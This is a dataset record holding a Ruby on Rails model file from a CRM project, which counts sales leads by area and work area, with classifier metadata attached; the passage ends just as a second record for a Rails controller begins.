{"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/sanjibpaul129/dreamcrm/blob/f7c059bd8df50edbd90d7c39ab4e65f0a75acc7b/app/models/area.rb", "id": "ruby-0-f381ecb1c48ac46c573446f1e322d0c5", "text": "class Area < ApplicationRecord\n\tdef self.area_wise_lead(data)\n\t\tbusiness_unit_id = data[0]\n\t\tfrom = data[1]\n\t\tto = data[2]\n\t\tcurrent_personnel = data[3]\n\t\tall_leads = Lead.where.not(area_id: nil).where(business_unit_id: business_unit_id.to_i).where('generated_on >= ? and generated_on <= ?', from.to_datetime.beginning_of_day, to.to_datetime.end_of_day)\n\t\tunselected_leads = Lead.where(area_id: nil).where(business_unit_id: business_unit_id.to_i).where('generated_on >= ? and generated_on <= ?', from.to_datetime.beginning_of_day, to.to_datetime.end_of_day)\n\t\tunselected_leads_count = unselected_leads.count\n\t\tunselected_qualified = 0\n\t\tunselected_site_visit = 0\n\t\tunselected_booked = 0\n\t\tunselected_leads.each do |lead|\n\t\t\tif lead.qualified_on != nil\n\t\t\t\tunselected_qualified += 1\n\t\t\tend\n\t\t\tif lead.osv==nil && lead.status==false\n\t\t\t\tunselected_site_visit += 1\n\t\t\telsif lead.status==true && lead.lost_reason_id==nil\n\t\t\t\tunselected_booked += 1\n\t\t\tend\t\n\t\tend\n\t\tall_areas=[]\n\t\tarea_data={}\n\t\tArea.where(organisation_id: current_personnel.organisation_id).each do |area|\n\t\t\tall_leads.each do |lead|\n\t\t\t\tif lead.area_id == area.id\n\t\t\t\t\tif area_data[area.name] == nil\n\t\t\t\t\t\tarea_data[area.name] = 1\n\t\t\t\t\telse\n\t\t\t\t\t\tarea_data[area.name] = area_data[area.name]+1\n\t\t\t\t\tend\n\t\t\t\t\tif lead.qualified_on != nil\n\t\t\t\t\t\tif area_data[\"qualified\"] == nil\n\t\t\t\t\t\t\tarea_data[\"qualified\"] = 1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tarea_data[\"qualified\"] = area_data[\"qualified\"].to_i+1\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tarea_data[\"qualified\"] = 0\n\t\t\t\t\tend\n\t\t\t\t\tif lead.osv==nil && lead.status==false\n\t\t\t\t\t\tif area_data[\"site visit\"]==nil\n\t\t\t\t\t\t\tarea_data[\"site visit\"]=1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tarea_data[\"site visit\"] = area_data[\"site visit\"].to_i+1\n\t\t\t\t\t\tend\n\t\t\t\t\t\tarea_data[\"booked\"]=''\n\t\t\t\t\telsif lead.status==true && lead.lost_reason_id==nil\n\t\t\t\t\t\tarea_data[\"site visit\"]=''\n\t\t\t\t\t\tif area_data[\"booked\"]==nil\n\t\t\t\t\t\t\tarea_data[\"booked\"]=1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tarea_data[\"booked\"]=area_data[\"booked\"].to_i+1\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tarea_data[\"site visit\"]=''\n\t\t\t\t\t\tarea_data[\"booked\"]=''\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\t\tall_areas += [area_data]\n\t\t\tarea_data={}\n\t\tend\n\t\tdata=[all_areas, unselected_leads_count, unselected_qualified, unselected_site_visit, unselected_booked]\n\t\t\n\t\treturn data\n\tend\n\n\tdef self.work_area_wise_lead(data)\n\t\tbusiness_unit_id = data[0]\n\t\tfrom = data[1]\n\t\tto = data[2]\n\t\tcurrent_personnel = data[3]\n\t\tall_leads = Lead.where.not(work_area_id: nil).where(business_unit_id: business_unit_id.to_i).where('generated_on >= ? and generated_on <= ?', from.to_datetime.beginning_of_day, to.to_datetime.end_of_day)\n\t\tunselected_leads = Lead.where(work_area_id: nil).where(business_unit_id: business_unit_id.to_i).where('generated_on >= ? and generated_on <= ?', from.to_datetime.beginning_of_day, to.to_datetime.end_of_day)\n\t\tunselected_leads_count = unselected_leads.count\n\t\tunselected_qualified = 0\n\t\tunselected_site_visit = 0\n\t\tunselected_booked = 0\n\t\tunselected_leads.each do |lead|\n\t\t\tif lead.qualified_on != nil\n\t\t\t\tunselected_qualified += 1\n\t\t\tend\n\t\t\tif lead.osv==nil && lead.status==false\n\t\t\t\tunselected_site_visit += 1\n\t\t\telsif lead.status==true && lead.lost_reason_id==nil\n\t\t\t\tunselected_booked += 1\n\t\t\tend\t\n\t\tend\n\t\tall_work_areas=[]\n\t\twork_area_data={}\n\t\tArea.where(organisation_id: current_personnel.organisation_id).each do |work_area|\n\t\t\tall_leads.each do |lead|\n\t\t\t\tif lead.work_area_id == work_area.id\n\t\t\t\t\tif work_area_data[work_area.name]==nil\n\t\t\t\t\t\twork_area_data[work_area.name]=1\n\t\t\t\t\telse\n\t\t\t\t\t\twork_area_data[work_area.name]=work_area_data[work_area.name]+1\n\t\t\t\t\tend\n\t\t\t\t\tif lead.qualified_on != nil\n\t\t\t\t\t\tif work_area_data[\"qualified\"] == nil\n\t\t\t\t\t\t\twork_area_data[\"qualified\"] = 1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\twork_area_data[\"qualified\"] = work_area_data[\"qualified\"].to_i+1\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\twork_area_data[\"qualified\"] = 0\n\t\t\t\t\tend\n\t\t\t\t\tif lead.osv==nil && lead.status==false\n\t\t\t\t\t\tif work_area_data[\"site visit\"]==nil\n\t\t\t\t\t\t\twork_area_data[\"site visit\"]=1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\twork_area_data[\"site visit\"] = work_area_data[\"site visit\"].to_i+1\n\t\t\t\t\t\tend\n\t\t\t\t\t\twork_area_data[\"booked\"]=''\n\t\t\t\t\telsif lead.status==true && lead.lost_reason_id==nil\n\t\t\t\t\t\twork_area_data[\"site visit\"]=''\n\t\t\t\t\t\tif work_area_data[\"booked\"]==nil\n\t\t\t\t\t\t\twork_area_data[\"booked\"]=1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\twork_area_data[\"booked\"]=work_area_data[\"booked\"].to_i+1\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\twork_area_data[\"site visit\"]=''\n\t\t\t\t\t\twork_area_data[\"booked\"]=''\n\t\t\t\t\tend\n\t\t\t\tend\t\n\t\t\tend\n\t\t\tall_work_areas += [work_area_data]\n\t\t\twork_area_data={}\n\t\tend\n\t\tdata=[all_work_areas, unselected_leads_count, unselected_qualified, unselected_site_visit, unselected_booked]\n\t\t\n\t\treturn data\n\tend\nend\n", "text_preview": "class Area < ApplicationRecord def self.area_wise_lead(data) business_unit_id = data[0] from = data[1] to = data[2] current_personnel = data[3] all_leads = Lead.where.not(area_id: nil).where(business_unit_id: business_unit_id.to_i).where('g", "input_sha256": "15fab6482b21af60fe2350beeab6173e8d1b4e778f300427d8bdbd189a1e3bc0", "text_sha256": "f381ecb1c48ac46c573446f1e322d0c5e408bb183fd9a622c27c39da2fd0d56a", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16055, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 0, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.17265281050030767, "noise_severity": 0.013035031122228827, "missing_content_severity": 0.005630305855776895, "factual_density": 3.0750904853126517, "pretraining_utility": 0.20422406289207926, "math_density": 0.6211150088656731, "code_density": 3.9185897427008705, "reasoning_density": 0.664060613512971, "education_level": 2.2040457168009766, "creative_writing_quality": -0.5684277199572708}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.011558594171993453, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9955587690208232, "secondary": 0.9847894046899315, "tertiary": 0.9968505464346201, "structured_records": 0.004694006028786345, "procedural_steps": 0.0033112829947162846, "worked_solution": 0.0036020196520258735, "contextual_dialogue": 7.247480946625925e-06, "content_quality": 0.39193693350057934, "noise_severity": 0.9891374740648093, "missing_content_severity": 0.9953080784535192, "factual_density": 0.474335364254724, "pretraining_utility": 0.5088980643374964, "math_density": 0.4824041592786057, "code_density": 0.9321581189173924, "reasoning_density": 0.4466161554058573, "education_level": 0.7278287593442684, "creative_writing_quality": 0.9997081959383888, "primary_topic": 0.9773586210055084, "secondary_topic": 0.804711214521917}, "probability_margin": {"primary": 0.993457241265723, "secondary": 0.9764370815606881, "tertiary": 0.9955074299657901, "education_level": 0.581106367786957, "creative_writing_quality": 0.9996752219510846, "primary_topic": 0.962395051084241, "secondary_topic": 0.6685114693530401}, "raw_probabilities": {"primary": {"Academic Writing": 2.8547422307070257e-05, "Content Listing": 1.7635298044855414e-05, "Creative Writing": 1.5078782715696065e-05, "Customer Support Page": 7.5200890415531385e-06, "Q&A Forum": 1.022648645709181e-05, "Discussion Thread": 7.373311751095101e-06, "Comment Section": 1.1520322287635654e-05, "Missing Content": 2.877617953456562e-05, "Knowledge Article": 6.858876621947054e-05, "Legal Notices": 3.372213594350937e-05, "News Article": 4.34035610457856e-06, "Organizational Announcement": 8.91702938380682e-06, "Nonfiction Writing": 9.694115361352004e-06, "Organizational About Page": 1.1311929471618936e-05, "Personal About Page": 1.1206850212452198e-05, "Personal Blog": 6.961458520012355e-06, "Product Page": 7.3703695558965306e-06, "Spam / Ads": 1.0934691562056746e-05, "Structured Data": 0.0014433188464202068, "Technical Writing": 0.9957438203116222, "Transcript / Interview": 1.5001836871134319e-05, "Tutorial / How-To Guide": 0.00020536852884767, "User Reviews": 6.185835865332466e-06, "Other / Unknown": 0.0022865790458992167}, "secondary": {"Academic Writing": 7.275532684856876e-05, "Content Listing": 5.4594890488206305e-05, "Creative Writing": 5.509142096615417e-05, "Customer Support Page": 3.049815949774352e-05, "Q&A Forum": 2.2282808408966387e-05, "Discussion Thread": 1.8139124704262684e-05, "Comment Section": 3.7612319233331825e-05, "Missing Content": 0.00011428905502507413, "Knowledge Article": 0.0001363899668735744, "Legal Notices": 4.636042507636446e-05, "News Article": 3.125889690377183e-05, "Organizational Announcement": 2.5697251638434687e-05, "Nonfiction Writing": 2.530723815422146e-05, "Organizational About Page": 3.654636370965811e-05, "Personal About Page": 3.0394081193355096e-05, "Personal Blog": 2.30655659117229e-05, "Product Page": 1.9364735842514426e-05, "Spam / Ads": 3.647712353971408e-05, "Structured Data": 0.004464046319102673, "Technical Writing": 0.008986097933829576, "Transcript / Interview": 3.507694698453914e-05, "Tutorial / How-To Guide": 0.000259687787588985, "User Reviews": 1.578676396090343e-05, "NONE": 0.9854231794945176}, "tertiary": {"Academic Writing": 2.5279444657384325e-05, "Content Listing": 2.333581473420909e-05, "Creative Writing": 2.5619591375696744e-05, "Customer Support Page": 1.1413648203169124e-05, "Q&A Forum": 8.903758891769353e-06, "Discussion Thread": 7.54636414704487e-06, "Comment Section": 1.8898549480933438e-05, "Missing Content": 0.00010695505999024492, "Knowledge Article": 5.893340483270186e-05, "Legal Notices": 2.994890928385783e-05, "News Article": 1.3472126123126094e-05, "Organizational Announcement": 1.062047346671054e-05, "Nonfiction Writing": 1.3323262397585066e-05, "Organizational About Page": 2.59772436477087e-05, "Personal About Page": 1.1501685663780614e-05, "Personal Blog": 1.097895267402451e-05, "Product Page": 9.38026979742784e-06, "Spam / Ads": 1.562791735346041e-05, "Structured Data": 0.0009860851665721663, "Technical Writing": 0.0014743437007208558, "Transcript / Interview": 1.394192845287239e-05, "Tutorial / How-To Guide": 0.00010892781744465782, "User Reviews": 7.211243577572425e-06, "NONE": 0.996981773666511}, "structured_records": {"false": 0.9953059939712137, "true": 0.004694006028786345}, "procedural_steps": {"false": 0.9966887170052837, "true": 0.0033112829947162846}, "worked_solution": {"false": 0.9963979803479741, "true": 0.0036020196520258735}, "contextual_dialogue": {"false": 0.9999927525190534, "true": 7.247480946625925e-06}, "content_quality": {"-2": 0.04316951079691918, "-1": 0.19217241305566024, "0": 0.38603222065579174, "1": 0.30608746583345137, "2": 0.07253838965817745}, "noise_severity": {"0": 0.989523076275234, "1": 0.008711000342865148, "2": 0.0011981395880889005, "3": 0.0003433835720627514, "4": 0.00022440022174940658}, "missing_content_severity": {"0": 0.9973250885912506, "1": 0.0005537538050596944, "2": 0.001409772599974522, "3": 0.0005885331640937994, "4": 0.00012285183962168977}, "factual_density": {"0": 0.011136033594821525, "1": 0.03431491117559846, "2": 0.17581561565517845, "3": 0.4257894154709102, "4": 0.3529440241034913}, "pretraining_utility": {"-2": 0.012856231618941364, "-1": 0.16683666671357977, "0": 0.47299495634106475, "1": 0.29785109780928665, "2": 0.049461047517127585}, "math_density": {"0": 0.6835501358037706, "1": 0.18415740846224848, "2": 0.03234679490163415, "3": 0.02751863272923145, "4": 0.07242702810311552}, "code_density": {"0": 0.00025590128599914754, "1": 0.0005099776819420182, "2": 0.011930253742863033, "3": 0.05499621162358034, "4": 0.9323076556656156}, "reasoning_density": {"0": 0.7283658014208116, "1": 0.04736058029738843, "2": 0.11102370642119658, "3": 0.05834702706922431, "4": 0.054902884791379156}, "education_level": {"none": 0.0013808491770642675, "0": 0.001420319882849239, "1": 0.01644251036663747, "2": 0.7731906327868903, "3": 0.19208426499993325, "4": 0.01548142278662547}, "creative_writing_quality": {"not_applicable": 0.9997568299486573, "-2": 5.646907307457959e-05, "-1": 7.06652147127349e-05, "0": 8.160799757271376e-05, "1": 2.3476768950213437e-05, "2": 1.0950997032513039e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.6092916753117834e-05, "Art & Design": 6.232638387836588e-05, "Law & Crime": 6.947615099259641e-05, "Education & Careers": 9.502215800114298e-05, "Entertainment & Media": 5.3540827174356055e-05, "Fashion & Beauty": 4.7922727114493364e-05, "Business, Economics & Finance": 0.01583439219028637, "Food & Dining": 6.290834755576138e-05, "Games & Gaming": 0.00018802343322923946, "Electronics & Hardware": 9.525261229354917e-05, "Health, Healthcare & Wellness": 7.07036568100157e-05, "History & Geography": 5.7762556292518655e-05, "Home, Pets & Hobbies": 5.112873828570136e-05, "Industry & Production": 0.00012669445665968297, "Language, Literature & Philosophy": 5.7767431668232224e-05, "Politics & Government": 4.073719086626618e-05, "Religion & Spirituality": 5.10851652760917e-05, "Science, Mathematics & Engineering": 0.00035632835140114353, "Relationships & Community": 4.7596292906882434e-05, "Software Usage & Applications": 0.0015243005425041314, "Programming & Software Engineering": 0.9782294432745273, "Sports & Fitness": 6.088663020520654e-05, "Vehicles & Transportation": 4.553199297915943e-05, "Travel & Tourism": 6.980693201884805e-05, "Other / Uncovered Subject": 0.002460261766080865, "Unknown / Insufficient Content": 0.00018500727423888713}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006962304670692648, "Art & Design": 0.0005074695002107764, "Law & Crime": 0.0007116346878701412, "Education & Careers": 0.0004883098438476317, "Entertainment & Media": 0.00045541360143143227, "Fashion & Beauty": 0.0002894072808202016, "Business, Economics & Finance": 0.1437108523026494, "Food & Dining": 0.0003013035340280629, "Games & Gaming": 0.0007306125201485889, "Electronics & Hardware": 0.00048761878579709503, "Health, Healthcare & Wellness": 0.0004800182129923819, "History & Geography": 0.0002914029884890366, "Home, Pets & Hobbies": 0.0002863468641774695, "Industry & Production": 0.000427574308167673, "Language, Literature & Philosophy": 0.00024838691764083654, "Politics & Government": 0.000250045618502109, "Religion & Spirituality": 0.0003624058736857085, "Science, Mathematics & Engineering": 0.0011093570119831175, "Relationships & Community": 0.00019613759663892922, "Software Usage & Applications": 0.004073284890251119, "Programming & Software Engineering": 0.02744897009654156, "Sports & Fitness": 0.00023997008337803087, "Vehicles & Transportation": 0.0001573922078402031, "Travel & Tourism": 0.0003961026734797909, "Other / Uncovered Subject": 0.003431430476670034, "NONE": 0.8122223216556894}}, "probabilities": {"primary": {"Academic Writing": 2.8547422307070257e-05, "Content Listing": 1.7635298044855414e-05, "Creative Writing": 1.5078782715696065e-05, "Customer Support Page": 7.5200890415531385e-06, "Q&A Forum": 1.022648645709181e-05, "Discussion Thread": 7.373311751095101e-06, "Comment Section": 1.1520322287635654e-05, "Missing Content": 2.877617953456562e-05, "Knowledge Article": 6.858876621947054e-05, "Legal Notices": 3.372213594350937e-05, "News Article": 4.34035610457856e-06, "Organizational Announcement": 8.91702938380682e-06, "Nonfiction Writing": 9.694115361352004e-06, "Organizational About Page": 1.1311929471618936e-05, "Personal About Page": 1.1206850212452198e-05, "Personal Blog": 6.961458520012355e-06, "Product Page": 7.3703695558965306e-06, "Spam / Ads": 1.0934691562056746e-05, "Structured Data": 0.0014433188464202068, "Technical Writing": 0.9957438203116222, "Transcript / Interview": 1.5001836871134319e-05, "Tutorial / How-To Guide": 0.00020536852884767, "User Reviews": 6.185835865332466e-06, "Other / Unknown": 0.0022865790458992167}, "secondary": {"Academic Writing": 7.275532684856876e-05, "Content Listing": 5.4594890488206305e-05, "Creative Writing": 5.509142096615417e-05, "Customer Support Page": 3.049815949774352e-05, "Q&A Forum": 2.2282808408966387e-05, "Discussion Thread": 1.8139124704262684e-05, "Comment Section": 3.7612319233331825e-05, "Missing Content": 0.00011428905502507413, "Knowledge Article": 0.0001363899668735744, "Legal Notices": 4.636042507636446e-05, "News Article": 3.125889690377183e-05, "Organizational Announcement": 2.5697251638434687e-05, "Nonfiction Writing": 2.530723815422146e-05, "Organizational About Page": 3.654636370965811e-05, "Personal About Page": 3.0394081193355096e-05, "Personal Blog": 2.30655659117229e-05, "Product Page": 1.9364735842514426e-05, "Spam / Ads": 3.647712353971408e-05, "Structured Data": 0.004464046319102673, "Technical Writing": 0.008986097933829576, "Transcript / Interview": 3.507694698453914e-05, "Tutorial / How-To Guide": 0.000259687787588985, "User Reviews": 1.578676396090343e-05, "NONE": 0.9854231794945176}, "tertiary": {"Academic Writing": 2.5279444657384328e-05, "Content Listing": 2.3335814734209093e-05, "Creative Writing": 2.5619591375696747e-05, "Customer Support Page": 1.1413648203169126e-05, "Q&A Forum": 8.903758891769354e-06, "Discussion Thread": 7.546364147044871e-06, "Comment Section": 1.889854948093344e-05, "Missing Content": 0.00010695505999024493, "Knowledge Article": 5.8933404832701866e-05, "Legal Notices": 2.9948909283857832e-05, "News Article": 1.3472126123126095e-05, "Organizational Announcement": 1.0620473466710542e-05, "Nonfiction Writing": 1.3323262397585068e-05, "Organizational About Page": 2.5977243647708704e-05, "Personal About Page": 1.1501685663780616e-05, "Personal Blog": 1.0978952674024511e-05, "Product Page": 9.380269797427843e-06, "Spam / Ads": 1.5627917353460415e-05, "Structured Data": 0.0009860851665721665, "Technical Writing": 0.001474343700720856, "Transcript / Interview": 1.3941928452872392e-05, "Tutorial / How-To Guide": 0.00010892781744465783, "User Reviews": 7.211243577572426e-06, "NONE": 0.9969817736665111}, "structured_records": {"false": 0.9953059939712137, "true": 0.004694006028786345}, "procedural_steps": {"false": 0.9966887170052837, "true": 0.0033112829947162846}, "worked_solution": {"false": 0.9963979803479741, "true": 0.0036020196520258735}, "contextual_dialogue": {"false": 0.9999927525190534, "true": 7.247480946625925e-06}, "content_quality": {"-2": 0.04316951079691918, "-1": 0.19217241305566024, "0": 0.38603222065579174, "1": 0.30608746583345137, "2": 0.07253838965817745}, "noise_severity": {"0": 0.9895230762752337, "1": 0.008711000342865146, "2": 0.0011981395880889003, "3": 0.00034338357206275134, "4": 0.00022440022174940652}, "missing_content_severity": {"0": 0.9973250885912504, "1": 0.0005537538050596943, "2": 0.0014097725999745218, "3": 0.0005885331640937993, "4": 0.00012285183962168974}, "factual_density": {"0": 0.011136033594821527, "1": 0.03431491117559847, "2": 0.17581561565517848, "3": 0.42578941547091026, "4": 0.35294402410349135}, "pretraining_utility": {"-2": 0.012856231618941361, "-1": 0.16683666671357975, "0": 0.47299495634106464, "1": 0.2978510978092866, "2": 0.04946104751712757}, "math_density": {"0": 0.6835501358037704, "1": 0.18415740846224846, "2": 0.03234679490163414, "3": 0.027518632729231444, "4": 0.0724270281031155}, "code_density": {"0": 0.0002559012859991475, "1": 0.000509977681942018, "2": 0.01193025374286303, "3": 0.05499621162358033, "4": 0.9323076556656154}, "reasoning_density": {"0": 0.7283658014208115, "1": 0.04736058029738842, "2": 0.11102370642119655, "3": 0.058347027069224296, "4": 0.05490288479137914}, "education_level": {"none": 0.0013808491770642675, "0": 0.001420319882849239, "1": 0.01644251036663747, "2": 0.7731906327868903, "3": 0.19208426499993325, "4": 0.01548142278662547}, "creative_writing_quality": {"not_applicable": 0.9997568299486573, "-2": 5.646907307457959e-05, "-1": 7.06652147127349e-05, "0": 8.160799757271376e-05, "1": 2.3476768950213437e-05, "2": 1.0950997032513039e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 5.6092916753117834e-05, "Art & Design": 6.232638387836588e-05, "Law & Crime": 6.947615099259641e-05, "Education & Careers": 9.502215800114298e-05, "Entertainment & Media": 5.3540827174356055e-05, "Fashion & Beauty": 4.7922727114493364e-05, "Business, Economics & Finance": 0.01583439219028637, "Food & Dining": 6.290834755576138e-05, "Games & Gaming": 0.00018802343322923946, "Electronics & Hardware": 9.525261229354917e-05, "Health, Healthcare & Wellness": 7.07036568100157e-05, "History & Geography": 5.7762556292518655e-05, "Home, Pets & Hobbies": 5.112873828570136e-05, "Industry & Production": 0.00012669445665968297, "Language, Literature & Philosophy": 5.7767431668232224e-05, "Politics & Government": 4.073719086626618e-05, "Religion & Spirituality": 5.10851652760917e-05, "Science, Mathematics & Engineering": 0.00035632835140114353, "Relationships & Community": 4.7596292906882434e-05, "Software Usage & Applications": 0.0015243005425041314, "Programming & Software Engineering": 0.9782294432745273, "Sports & Fitness": 6.088663020520654e-05, "Vehicles & Transportation": 4.553199297915943e-05, "Travel & Tourism": 6.980693201884805e-05, "Other / Uncovered Subject": 0.002460261766080865, "Unknown / Insufficient Content": 0.00018500727423888713}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0006962304670692648, "Art & Design": 0.0005074695002107764, "Law & Crime": 0.0007116346878701412, "Education & Careers": 0.0004883098438476317, "Entertainment & Media": 0.00045541360143143227, "Fashion & Beauty": 0.0002894072808202016, "Business, Economics & Finance": 0.1437108523026494, "Food & Dining": 0.0003013035340280629, "Games & Gaming": 0.0007306125201485889, "Electronics & Hardware": 0.00048761878579709503, "Health, Healthcare & Wellness": 0.0004800182129923819, "History & Geography": 0.0002914029884890366, "Home, Pets & Hobbies": 0.0002863468641774695, "Industry & Production": 0.000427574308167673, "Language, Literature & Philosophy": 0.00024838691764083654, "Politics & Government": 0.000250045618502109, "Religion & Spirituality": 0.0003624058736857085, "Science, Mathematics & Engineering": 0.0011093570119831175, "Relationships & Community": 0.00019613759663892922, "Software Usage & Applications": 0.004073284890251119, "Programming & Software Engineering": 0.02744897009654156, "Sports & Fitness": 0.00023997008337803087, "Vehicles & Transportation": 0.0001573922078402031, "Travel & Tourism": 0.0003961026734797909, "Other / Uncovered Subject": 0.003431430476670034, "NONE": 0.8122223216556894}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9841, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9841, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:06.538233+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "e6eb7d33-bc70-4d43-acee-b846f47885f7", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "d820a953206b78d7448a5e326007ecc2e2f1986d869e67e506cbeef6fae7e9ed", "source_metadata": {"uuid": "e6eb7d33-bc70-4d43-acee-b846f47885f7", "repo_name": "sanjibpaul129/dreamcrm", "relative_path": "app/models/area.rb", "category": "DATA", "algo_rel_score": 0.9475839138031006, "quality_score": 3.7088804244995117, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 8, "repo_created_at": "2024-02-07T09:29:28.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "5615d64eca7828c6904096eb13f80a58bbf32997", "size_bytes": 4631, "file_timestamp": 1708769505, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "f7c059bd8df50edbd90d7c39ab4e65f0a75acc7b"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 8, "repo_created_at": "2024-02-07T09:29:28.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 0, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "5615d64eca7828c6904096eb13f80a58bbf32997", "size_bytes": 4631, "file_timestamp": 1708769505, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "f7c059bd8df50edbd90d7c39ab4e65f0a75acc7b", "url": "https://github.com/sanjibpaul129/dreamcrm/blob/f7c059bd8df50edbd90d7c39ab4e65f0a75acc7b/app/models/area.rb"}, "gpt4o_tokens": 1336, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.17265281050030767, "noise_severity": 0.013035031122228828, "missing_content_severity": 0.005630305855776895, "factual_density": 3.0750904853126517, "pretraining_utility": 0.20422406289207928, "math_density": 0.6211150088656731, "code_density": 3.918589742700871, "reasoning_density": 0.6640606135129711, "education_level": 2.2040457168009766, "creative_writing_quality": -0.5684277199572708}, "score_applicability": {"education_level": 0.9986191508229357, "creative_writing_quality": 0.00024317005134275472}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/DigitalCurationCentre/roadmap/blob/826609a02d2ca7387c7e79e12a418bda8498af35/app/controllers/guidances_controller.rb", "id": "ruby-0-f74536c276b66cd9c9aef0433b06100d", "text": "# frozen_string_literal: true\n\nclass GuidancesController < ApplicationController\n\n after_action :verify_authorized\n respond_to :html\n\n # TODO: We should really update this 